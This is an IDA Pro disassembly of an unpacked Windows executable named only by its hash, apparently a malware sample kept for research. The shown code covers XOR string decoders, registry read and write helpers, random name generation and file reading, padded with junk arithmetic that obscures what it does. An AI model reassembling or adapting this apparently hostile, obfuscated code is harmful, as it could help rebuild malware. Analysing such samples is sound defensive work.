;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 9BBDD086C53E8ECE6EB841C3296BE2AE
; ---------------------------------------------------------------------------
; File Name : u:\work\9bbdd086c53e8ece6eb841c3296be2ae_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 0004C000 ( 311296.)
; Section size in file : 0004A200 ( 303616.)
; Offset to raw data for section: 00000400
; Flags E0000020: Text Executable Readable Writable
; Alignment : default
include uni.inc ; see unicode subdir of ida for info on unicode
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_text segment para public 'CODE' use32
assume cs:_text
;org 401000h
assume es:nothing, ss:nothing, ds:_text, fs:nothing, gs:nothing
loc_401000: ; DATA XREF: sub_401020+Ao
; sub_43EFBD+Ao
xor eax, eax
inc eax
mov ecx, [esp+4]
test dword ptr [ecx+4], 6
jz short locret_40101F
mov eax, [esp+8]
mov edx, [esp+10h]
mov [edx], eax
mov eax, 3
locret_40101F: ; CODE XREF: .text:0040100Ej
retn
; =============== S U B R O U T I N E =======================================
sub_401020 proc near ; CODE XREF: sub_40109A+BEp
; sub_40109A+ECp
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset loc_401000
push large dword ptr fs:0
mov large fs:0, esp
loc_40103D: ; CODE XREF: sub_401020+44j
; sub_401020+4Aj
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_40106C
cmp esi, [esp+1Ch+arg_4]
jz short loc_40106C
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov ecx, [esp+1Ch+var_14]
mov ecx, [eax+0Ch]
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_40103D
call dword ptr [ebx+esi*4+8]
jmp short loc_40103D
; ---------------------------------------------------------------------------
loc_40106C: ; CODE XREF: sub_401020+2Aj
; sub_401020+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_401020 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40107A proc near ; CODE XREF: sub_40109A+B1p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset loc_401092
push [ebp+arg_0]
call RtlUnwind ; RtlUnwind
loc_401092: ; DATA XREF: sub_40107A+Bo
; sub_43F017+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40107A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40109A proc near ; DATA XREF: start+10o StartAddress+Ao ...
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
cld
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
mov dword_43C08C, eax
mov dword_43C090, ebx
test dword ptr [eax+4], 6
jnz loc_40117F
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
mov dword_43C090, eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_4010DD: ; CODE XREF: sub_40109A+DCj
cmp esi, 0FFFFFFFFh
jz loc_40118E
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_40116D
push esi
push ebp
lea ebp, [ebx+10h]
mov eax, [ebp+var_14]
mov eax, [eax]
mov eax, [eax]
mov dword_43C030, eax
mov edx, [ebp+var_14]
mov eax, [edx]
mov dword_43C034, eax
mov eax, [edx+4]
mov dword_43C038, eax
push esi
push edi
push ecx
mov ecx, 14h
lea edi, dword_43C03C
mov esi, dword_43C034
rep movsd
lea edi, dword_43C03C
mov dword_43C034, edi
pop ecx
pop edi
pop esi
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
or eax, eax
jz short loc_40116D
js short loc_40117B
mov edi, [ebx+8]
push ebx
call sub_40107A
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_401020
add esp, 8
lea ecx, [esi+esi*2]
mov eax, [edi+ecx*4]
mov eax, [ebx+0Ch]
call dword ptr [edi+ecx*4+8]
loc_40116D: ; CODE XREF: sub_40109A+54j
; sub_40109A+A9j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp loc_4010DD
; ---------------------------------------------------------------------------
loc_40117B: ; CODE XREF: sub_40109A+ABj
xor eax, eax
jmp short loc_4011F0
; ---------------------------------------------------------------------------
loc_40117F: ; CODE XREF: sub_40109A+23j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_401020
add esp, 0Ch
loc_40118E: ; CODE XREF: sub_40109A+46j
push 0
mov dword_43C010, 0Bh
push 0Bh
call signal ; signal
add esp, 8
or eax, eax
jnz short loc_4011C9
push 0
mov dword_43C010, 8
push 8
call signal ; signal
add esp, 8
or eax, eax
jnz short loc_4011C9
mov eax, 1
jmp short loc_4011F0
; ---------------------------------------------------------------------------
loc_4011C9: ; CODE XREF: sub_40109A+10Cj
; sub_40109A+126j
cmp eax, 0FFFFFFFFh
jz short loc_4011F8
push eax
push dword_43C010
call signal ; signal
add esp, 8
push dword_43C010
call raise ; raise
add esp, 4
mov eax, 1
loc_4011F0: ; CODE XREF: sub_40109A+E3j
; sub_40109A+12Dj ...
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4011F8: ; CODE XREF: sub_40109A+132j
cmp dword_43C02C, 0
jnz short loc_401208
mov eax, 1
jmp short loc_4011F0
; ---------------------------------------------------------------------------
loc_401208: ; CODE XREF: sub_40109A+165j
mov eax, dword_43C02C
push 0Bh
jmp eax
sub_40109A endp
; ---------------------------------------------------------------------------
pop eax
mov eax, 1
jmp short loc_4011F0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
public start
start proc near ; CODE XREF: .text:0044A501j
; DATA XREF: .text:loc_44A4FCo
var_30 = word ptr -30h
var_18 = dword ptr -18h
var_4 = dword ptr -4
mov eax, large fs:0
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43C01C
push offset sub_40109A
push eax
mov large fs:0, esp
sub esp, 10h
push ebx
push esi
push edi
mov [ebp+var_18], esp
push eax
fnstcw [esp+30h+var_30]
or [esp+30h+var_30], 300h
fldcw [esp+30h+var_30]
add esp, 4
push 0
push 0
push offset dword_43C028
push offset dword_43C024
push offset dword_43C020
call __GetMainArgs
push dword_43C028
push dword_43C024
push dword_43C020
mov dword_43C014, esp
call sub_40C654
add esp, 18h
xor ecx, ecx
mov [ebp+var_4], ecx
push eax ; Code
call exit ; exit
start endp
; ---------------------------------------------------------------------------
leave
retn
; ---------------------------------------------------------------------------
mov large fs:0, eax
retn
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40129C(void *Src, size_t Size)
sub_40129C proc near ; CODE XREF: sub_408ED0+23p
; sub_408ED0+3Fp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
Src = dword ptr 8
Size = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
mov esi, [ebp+Size]
push esi ; Size
push [ebp+Src] ; Src
mov eax, dword_43C09C
lea eax, ds:41B7B0h[eax]
push eax ; Dst
call memcpy ; memcpy
add esp, 0Ch
mov [ebp+var_4], 14Bh
xor edi, edi
jmp short loc_4012E5
; ---------------------------------------------------------------------------
loc_4012CB: ; CODE XREF: sub_40129C+4Bj
mov eax, dword_43C09C
add eax, edi
lea eax, ds:41B7B0h[eax]
movsx edx, byte ptr [eax]
xor edx, 0D4h
mov [eax], dl
inc edi
loc_4012E5: ; CODE XREF: sub_40129C+2Dj
cmp edi, esi
jl short loc_4012CB
mov [ebp+var_8], 286h
mov eax, dword_43C09C
add eax, esi
mov byte ptr dword_41B7B0[eax], 0
xor edi, edi
mov edi, dword_43C09C
inc dword_43C09C
mov eax, dword_43C09C
add eax, 5
add eax, esi
mov dword_43C09C, eax
cmp eax, 0E0Eh
jle short loc_40132A
and dword_43C09C, 0
loc_40132A: ; CODE XREF: sub_40129C+85j
mov [ebp+var_C], 3DBh
lea eax, dword_41B7B0[edi]
pop edi
pop esi
leave
retn
sub_40129C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40133B proc near ; CODE XREF: sub_408048+118p
var_14C1C = dword ptr -14C1Ch
var_14C18 = dword ptr -14C18h
NumberOfBytesRead= dword ptr -14C14h
Buffer = byte ptr -14C10h
var_8 = dword ptr -8
var_2 = word ptr -2
push ebp
mov ebp, esp
mov eax, 14C1Ch
call sub_40C6B8
push ebx
push esi
push edi
call GetCurrentProcessId ; GetCurrentProcessId
mov eax, dword_43C22C
mov [ebp+var_14C18], eax
push 0 ; hTemplateFile
push 0 ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 0 ; dwShareMode
push 80000000h ; dwDesiredAccess
push offset FileName ; lpFileName
call CreateFileA ; CreateFileA
mov esi, eax
mov ebx, 1CA5h
sub ebx, 77B7h
cmp esi, 0FFFFFFFFh
jnz short loc_40138D
xor eax, eax
jmp loc_401420
; ---------------------------------------------------------------------------
loc_40138D: ; CODE XREF: sub_40133B+49j
push 0 ; lpOverlapped
lea eax, [ebp+NumberOfBytesRead]
push eax ; lpNumberOfBytesRead
push 14C08h ; nNumberOfBytesToRead
lea eax, [ebp+Buffer]
push eax ; lpBuffer
push esi ; hFile
call ReadFile ; ReadFile
mov [ebp+var_2], 434Fh
movzx eax, [ebp+var_2]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_2], ax
push esi ; hObject
call CloseHandle ; CloseHandle
mov [ebp+var_8], 67B8h
mov eax, 79B5h
mul [ebp+var_8]
mov [ebp+var_14C1C], eax
mov [ebp+var_8], eax
xor edi, edi
loc_4013DC: ; CODE XREF: sub_40133B+DCj
mov eax, 13h
sub eax, dword_43C098
push eax
push offset Format
lea eax, [ebp+edi+Buffer]
push eax
call sub_40181A
add esp, 0Ch
cmp eax, 0FFFFh
jz short loc_401409
xor eax, eax
inc eax
jmp short loc_401420
; ---------------------------------------------------------------------------
loc_401409: ; CODE XREF: sub_40133B+C7j
call GetCurrentProcessId ; GetCurrentProcessId
add edi, 11h
cmp edi, [ebp+NumberOfBytesRead]
jb short loc_4013DC
call GetVersion ; GetVersion
xor eax, eax
loc_401420: ; CODE XREF: sub_40133B+4Dj
; sub_40133B+CCj
pop edi
pop esi
pop ebx
leave
retn
sub_40133B endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
mov esi, [ebp+0Ch]
mov dword ptr [ebp-4], 2A0h
push esi
push dword ptr [ebp+8]
mov eax, dword_43C23C
lea eax, ds:41A7F0h[eax]
push eax
call memcpy ; memcpy
add esp, 0Ch
mov dword ptr [ebp-8], 2B3h
xor edi, edi
jmp short loc_401475
; ---------------------------------------------------------------------------
loc_40145B: ; CODE XREF: .text:00401477j
mov eax, dword_43C23C
add eax, edi
lea eax, ds:41A7F0h[eax]
movsx edx, byte ptr [eax]
xor edx, 0F6h
mov [eax], dl
inc edi
loc_401475: ; CODE XREF: .text:00401459j
cmp edi, esi
jl short loc_40145B
mov dword ptr [ebp-0Ch], 25h
mov eax, dword_43C23C
add eax, esi
mov byte ptr dword_41A7F0[eax], 0
mov edi, dword_43C23C
inc dword_43C23C
mov eax, dword_43C23C
add eax, 5
add eax, esi
mov dword_43C23C, eax
cmp eax, 0E06h
jle short loc_4014B8
and dword_43C23C, 0
loc_4014B8: ; CODE XREF: .text:004014AFj
mov dword ptr [ebp-10h], 20Bh
lea eax, dword_41A7F0[edi]
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4014C9(HKEY hKey, LPCSTR lpSubKey, LPCSTR lpValueName, LPBYTE lpData, LPDWORD lpcbData, LPDWORD lpType)
sub_4014C9 proc near ; CODE XREF: sub_4061F7+E1p
; sub_408B4C+128p ...
var_10 = dword ptr -10h
var_9 = byte ptr -9
phkResult = dword ptr -8
var_4 = word ptr -4
var_1 = byte ptr -1
hKey = dword ptr 8
lpSubKey = dword ptr 0Ch
lpValueName = dword ptr 10h
lpData = dword ptr 14h
lpcbData = dword ptr 18h
lpType = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
mov [ebp+var_4], 19C3h
sub [ebp+var_4], 4EAAh
mov [ebp+var_1], 19h
movzx eax, [ebp+var_1]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_1], al
lea eax, [ebp+phkResult]
push eax ; phkResult
push 20019h ; samDesired
push 0 ; ulOptions
push [ebp+lpSubKey] ; lpSubKey
push [ebp+hKey] ; hKey
call RegOpenKeyExA ; RegOpenKeyExA
mov edi, eax
mov esi, 2238h
mov eax, 5994h
mul esi
mov [ebp+var_10], eax
mov esi, eax
or edi, edi
jz short loc_40151F
xor eax, eax
jmp short loc_40156A
; ---------------------------------------------------------------------------
loc_40151F: ; CODE XREF: sub_4014C9+50j
call GetVersion ; GetVersion
push [ebp+lpcbData] ; lpcbData
push [ebp+lpData] ; lpData
push [ebp+lpType] ; lpType
push 0 ; lpReserved
push [ebp+lpValueName] ; lpValueName
push [ebp+phkResult] ; hKey
call RegQueryValueExA ; RegQueryValueExA
mov edi, eax
mov [ebp+var_9], 0B0h
movzx eax, [ebp+var_9]
imul eax, 38BBh
mov [ebp+var_9], al
push [ebp+phkResult] ; hKey
call RegCloseKey ; RegCloseKey
call GetLastError
or edi, edi
jz short loc_401562
xor eax, eax
jmp short loc_40156A
; ---------------------------------------------------------------------------
loc_401562: ; CODE XREF: sub_4014C9+93j
call GetLastError
xor eax, eax
inc eax
loc_40156A: ; CODE XREF: sub_4014C9+54j
; sub_4014C9+97j
pop edi
pop esi
leave
retn
sub_4014C9 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
mov esi, [ebp+0Ch]
mov dword ptr [ebp-4], 3A7h
push esi
push dword ptr [ebp+8]
mov eax, dword_43C248
lea eax, ds:4351E0h[eax]
push eax
call memcpy ; memcpy
add esp, 0Ch
xor edi, edi
jmp short loc_4015B4
; ---------------------------------------------------------------------------
loc_40159D: ; CODE XREF: .text:004015B6j
mov eax, dword_43C248
add eax, edi
lea eax, ds:4351E0h[eax]
movsx edx, byte ptr [eax]
xor edx, 35h
mov [eax], dl
inc edi
loc_4015B4: ; CODE XREF: .text:0040159Bj
cmp edi, esi
jl short loc_40159D
mov dword ptr [ebp-8], 249h
mov eax, dword_43C248
add eax, esi
mov byte ptr dword_4351E0[eax], 0
mov edi, dword_43C248
mov eax, edi
add eax, 6
add eax, esi
mov dword_43C248, eax
inc dword_43C248
cmp dword_43C248, 0DC9h
jle short loc_4015F9
and dword_43C248, 0
loc_4015F9: ; CODE XREF: .text:004015F0j
mov dword ptr [ebp-0Ch], 114h
lea eax, dword_4351E0[edi]
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40160A(HKEY hKey, LPCSTR lpSubKey, LPCSTR lpValueName, BYTE *lpData, DWORD cbData, DWORD dwType)
sub_40160A proc near ; CODE XREF: sub_405E88+9Cp
; sub_405E88+D9p ...
dwDisposition = dword ptr -10h
var_A = word ptr -0Ah
phkResult = dword ptr -8
var_1 = byte ptr -1
hKey = dword ptr 8
lpSubKey = dword ptr 0Ch
lpValueName = dword ptr 10h
lpData = dword ptr 14h
cbData = dword ptr 18h
dwType = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 10h
push edi
call GetCurrentThreadId ; GetCurrentThreadId
mov [ebp+var_A], 6A47h
add [ebp+var_A], 5A3h
lea eax, [ebp+dwDisposition]
push eax ; lpdwDisposition
lea eax, [ebp+phkResult]
push eax ; phkResult
push 0 ; lpSecurityAttributes
push 0F003Fh ; samDesired
push 0 ; dwOptions
push 0 ; lpClass
push 0 ; Reserved
push [ebp+lpSubKey] ; lpSubKey
push [ebp+hKey] ; hKey
call RegCreateKeyExA ; RegCreateKeyExA
mov edi, eax
call GetVersion ; GetVersion
or edi, edi
jz short loc_401651
xor eax, eax
jmp short loc_4016AE
; ---------------------------------------------------------------------------
loc_401651: ; CODE XREF: sub_40160A+41j
call GetVersion ; GetVersion
push [ebp+cbData] ; cbData
push [ebp+lpData] ; lpData
push [ebp+dwType] ; dwType
push 0 ; Reserved
push [ebp+lpValueName] ; lpValueName
push [ebp+phkResult] ; hKey
call RegSetValueExA ; RegSetValueExA
mov edi, eax
call GetCurrentProcessId ; GetCurrentProcessId
push [ebp+phkResult] ; hKey
call RegCloseKey ; RegCloseKey
mov [ebp+var_1], 14h
movzx eax, [ebp+var_1]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_1], al
or edi, edi
jz short loc_401694
xor eax, eax
jmp short loc_4016AE
; ---------------------------------------------------------------------------
loc_401694: ; CODE XREF: sub_40160A+84j
call GetCurrentThreadId ; GetCurrentThreadId
cmp [ebp+dwDisposition], 1
jnz short loc_4016A6
mov eax, 2
jmp short loc_4016AE
; ---------------------------------------------------------------------------
loc_4016A6: ; CODE XREF: sub_40160A+93j
call GetVersion ; GetVersion
xor eax, eax
inc eax
loc_4016AE: ; CODE XREF: sub_40160A+45j
; sub_40160A+88j ...
pop edi
leave
retn
sub_40160A endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push esi
push edi
mov esi, [ebp+0Ch]
push esi
push dword ptr [ebp+8]
mov eax, dword_43C254
lea eax, ds:4383E0h[eax]
push eax
call memcpy ; memcpy
add esp, 0Ch
xor edi, edi
jmp short loc_4016F0
; ---------------------------------------------------------------------------
loc_4016D6: ; CODE XREF: .text:004016F2j
mov eax, dword_43C254
add eax, edi
lea eax, ds:4383E0h[eax]
movsx edx, byte ptr [eax]
xor edx, 93h
mov [eax], dl
inc edi
loc_4016F0: ; CODE XREF: .text:004016D4j
cmp edi, esi
jl short loc_4016D6
mov eax, dword_43C254
add eax, esi
mov byte ptr dword_4383E0[eax], 0
xor edi, edi
mov edi, dword_43C254
mov eax, edi
add eax, 4
add eax, esi
mov dword_43C254, eax
cmp eax, 0DEEh
jle short loc_401725
and dword_43C254, 0
loc_401725: ; CODE XREF: .text:0040171Cj
lea eax, dword_4383E0[edi]
pop edi
pop esi
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40172F proc near ; CODE XREF: sub_4054C8+159p
; sub_408B4C+74p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
call GetVersion ; GetVersion
call GetCurrentThreadId ; GetCurrentThreadId
xor esi, esi
jmp short loc_40176B
; ---------------------------------------------------------------------------
loc_401746: ; CODE XREF: sub_40172F+3Fj
call rand ; rand
mov edx, 10624DD3h
push ecx
mov ecx, eax
imul edx
sar edx, 7
sar ecx, 1Fh
sub edx, ecx
mov eax, edx
pop ecx
mov edi, eax
add edi, 61h
mov edx, edi
mov [ebx+esi], dl
inc esi
loc_40176B: ; CODE XREF: sub_40172F+15j
cmp esi, [ebp+arg_4]
jl short loc_401746
mov eax, [ebp+arg_4]
mov byte ptr [ebx+eax], 0
mov eax, ebx
pop edi
pop esi
pop ebx
pop ebp
retn
sub_40172F endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
mov esi, [ebp+0Ch]
mov dword ptr [ebp-4], 12Bh
push esi
push dword ptr [ebp+8]
mov eax, dword_43C260
lea eax, ds:42FB20h[eax]
push eax
call memcpy ; memcpy
add esp, 0Ch
mov dword ptr [ebp-8], 283h
xor edi, edi
jmp short loc_4017CB
; ---------------------------------------------------------------------------
loc_4017B4: ; CODE XREF: .text:004017CDj
mov eax, dword_43C260
add eax, edi
lea eax, ds:42FB20h[eax]
movsx edx, byte ptr [eax]
xor edx, 7Bh
mov [eax], dl
inc edi
loc_4017CB: ; CODE XREF: .text:004017B2j
cmp edi, esi
jl short loc_4017B4
mov dword ptr [ebp-0Ch], 10Ch
mov eax, dword_43C260
add eax, esi
mov byte ptr dword_42FB20[eax], 0
xor edi, edi
mov edi, dword_43C260
add dword_43C260, 3
mov eax, dword_43C260
lea eax, [eax+esi+3]
mov dword_43C260, eax
cmp eax, 0DEDh
jle short loc_401810
and dword_43C260, 0
loc_401810: ; CODE XREF: .text:00401807j
lea eax, dword_42FB20[edi]
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40181A proc near ; CODE XREF: sub_40133B+BAp
; sub_40523D:loc_4052A8p ...
var_24 = dword ptr -24h
var_1E = byte ptr -1Eh
var_18 = dword ptr -18h
var_12 = byte ptr -12h
var_11 = dword ptr -11h
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
push ebx
push esi
push edi
mov [ebp+var_D], 0C0h
sub [ebp+var_D], 75h
and [ebp+var_C], 0
mov eax, dword_43C264
mov [ebp+var_11], eax
and [ebp+var_8], 0
jmp loc_4018EA
; ---------------------------------------------------------------------------
loc_401840: ; CODE XREF: sub_40181A+E2j
call GetLastError
and [ebp+var_4], 0
mov [ebp+var_12], 0D8h
movzx eax, [ebp+var_12]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_12], al
xor ebx, ebx
jmp short loc_4018D0
; ---------------------------------------------------------------------------
loc_40185E: ; CODE XREF: sub_40181A+C7j
call GetTickCount ; GetTickCount
mov eax, [ebp+var_8]
add eax, ebx
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx+eax]
mov edx, [ebp+arg_4]
movsx edx, byte ptr [edx+ebx]
cmp eax, edx
jnz short loc_40187D
inc [ebp+var_4]
loc_40187D: ; CODE XREF: sub_40181A+5Ej
mov eax, [ebp+arg_4]
mov ecx, eax
or eax, 0FFFFFFFFh
loc_401885: ; CODE XREF: sub_40181A+70j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_401885
cmp [ebp+var_4], eax
jnz short loc_4018CF
call GetCurrentProcessId ; GetCurrentProcessId
inc [ebp+var_C]
mov [ebp+var_18], 5F0h
mov eax, 4B0Ah
mul [ebp+var_18]
mov [ebp+var_24], eax
mov eax, [ebp+var_24]
mov [ebp+var_18], eax
mov eax, [ebp+arg_8]
cmp [ebp+var_C], eax
jnz short loc_4018BE
mov eax, [ebp+var_8]
jmp short loc_401907
; ---------------------------------------------------------------------------
loc_4018BE: ; CODE XREF: sub_40181A+9Dj
lea edi, [ebp+var_1E]
lea esi, dword_43C268
mov ecx, 3
rep movsw
loc_4018CF: ; CODE XREF: sub_40181A+75j
inc ebx
loc_4018D0: ; CODE XREF: sub_40181A+42j
mov eax, [ebp+arg_4]
mov ecx, eax
or eax, 0FFFFFFFFh
loc_4018D8: ; CODE XREF: sub_40181A+C3j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_4018D8
cmp ebx, eax
jb loc_40185E
inc [ebp+var_8]
loc_4018EA: ; CODE XREF: sub_40181A+21j
mov eax, [ebp+arg_0]
mov ecx, eax
or eax, 0FFFFFFFFh
loc_4018F2: ; CODE XREF: sub_40181A+DDj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_4018F2
cmp [ebp+var_8], eax
jb loc_401840
mov eax, 0FFFFh
loc_401907: ; CODE XREF: sub_40181A+A2j
pop edi
pop esi
pop ebx
leave
retn
sub_40181A endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
mov esi, [ebp+0Ch]
push esi
push dword ptr [ebp+8]
mov eax, dword_43C278
lea eax, ds:4166F0h[eax]
push eax
call memcpy ; memcpy
add esp, 0Ch
mov dword ptr [ebp-4], 2A0h
xor edi, edi
jmp short loc_401952
; ---------------------------------------------------------------------------
loc_40193B: ; CODE XREF: .text:00401954j
mov eax, dword_43C278
add eax, edi
lea eax, ds:4166F0h[eax]
movsx edx, byte ptr [eax]
xor edx, 1Bh
mov [eax], dl
inc edi
loc_401952: ; CODE XREF: .text:00401939j
cmp edi, esi
jl short loc_40193B
mov dword ptr [ebp-8], 29Ch
mov eax, dword_43C278
add eax, esi
mov byte ptr dword_4166F0[eax], 0
mov edi, dword_43C278
mov eax, edi
inc eax
add eax, esi
mov dword_43C278, eax
cmp eax, 0DDFh
jle short loc_40198A
and dword_43C278, 0
loc_40198A: ; CODE XREF: .text:00401981j
mov dword ptr [ebp-0Ch], 0D8h
lea eax, dword_4166F0[edi]
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push eax
push ebx
push esi
push edi
call GetVersion ; GetVersion
lea edi, [ebp-6]
lea esi, aVlvh_ ; "vlVh_"
mov ecx, 3
rep movsw
mov ebx, [ebp+10h]
jmp short loc_4019DB
; ---------------------------------------------------------------------------
loc_4019BE: ; CODE XREF: .text:004019DEj
mov eax, [ebp+8]
movsx eax, byte ptr [eax+ebx]
mov edx, ebx
sub edx, [ebp+10h]
mov ecx, [ebp+0Ch]
movsx edx, byte ptr [ecx+edx]
cmp eax, edx
jz short loc_4019DA
xor eax, eax
inc eax
jmp short loc_4019E2
; ---------------------------------------------------------------------------
loc_4019DA: ; CODE XREF: .text:004019D3j
inc ebx
loc_4019DB: ; CODE XREF: .text:004019BCj
cmp ebx, [ebp+14h]
jl short loc_4019BE
xor eax, eax
loc_4019E2: ; CODE XREF: .text:004019D8j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
mov esi, [ebp+0Ch]
mov dword ptr [ebp-4], 3DDh
push esi
push dword ptr [ebp+8]
mov eax, dword_43C28C
lea eax, ds:4340E0h[eax]
push eax
call memcpy ; memcpy
add esp, 0Ch
mov dword ptr [ebp-8], 38Eh
xor edi, edi
jmp short loc_401A34
; ---------------------------------------------------------------------------
loc_401A1D: ; CODE XREF: .text:00401A36j
mov eax, dword_43C28C
add eax, edi
lea eax, ds:4340E0h[eax]
movsx edx, byte ptr [eax]
xor edx, 76h
mov [eax], dl
inc edi
loc_401A34: ; CODE XREF: .text:00401A1Bj
cmp edi, esi
jl short loc_401A1D
mov dword ptr [ebp-0Ch], 3E6h
mov eax, dword_43C28C
add eax, esi
mov byte ptr dword_4340E0[eax], 0
mov edi, dword_43C28C
mov eax, edi
lea eax, [eax+esi+5]
mov dword_43C28C, eax
cmp eax, 0DD0h
jle short loc_401A6D
and dword_43C28C, 0
loc_401A6D: ; CODE XREF: .text:00401A64j
mov dword ptr [ebp-10h], 1E0h
lea eax, dword_4340E0[edi]
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_401A7E(LPCSTR lpFileName, int)
sub_401A7E proc near ; CODE XREF: sub_4054C8+51p
; sub_4061F7+4B2p ...
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_1 = byte ptr -1
lpFileName = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
mov [ebp+var_1], 0C3h
add [ebp+var_1], 29h
push 0 ; hTemplateFile
push 80h ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 3 ; dwShareMode
push 80000000h ; dwDesiredAccess
push [ebp+lpFileName] ; lpFileName
call CreateFileA ; CreateFileA
mov edi, eax
call GetCurrentProcessId ; GetCurrentProcessId
cmp edi, 0FFFFFFFFh
jnz short loc_401ACF
mov ax, word_43C290
mov [ebp+var_E], ax
cmp [ebp+arg_4], 0
jz short loc_401ACB
mov eax, [ebp+arg_4]
and dword ptr [eax], 0
loc_401ACB: ; CODE XREF: sub_401A7E+45j
xor eax, eax
jmp short loc_401B1C
; ---------------------------------------------------------------------------
loc_401ACF: ; CODE XREF: sub_401A7E+35j
push 0 ; lpFileSizeHigh
push edi ; hFile
call GetFileSize ; GetFileSize
mov esi, eax
add eax, 10h
push eax ; uBytes
push 40h ; uFlags
call LocalAlloc ; LocalAlloc
mov ebx, eax
call GetCurrentProcessId ; GetCurrentProcessId
push 0 ; lpOverlapped
cmp [ebp+arg_4], 0
jz short loc_401AFB
mov eax, [ebp+arg_4]
mov [ebp-10h], eax
jmp short loc_401B01
; ---------------------------------------------------------------------------
loc_401AFB: ; CODE XREF: sub_401A7E+73j
lea eax, [ebp+var_8]
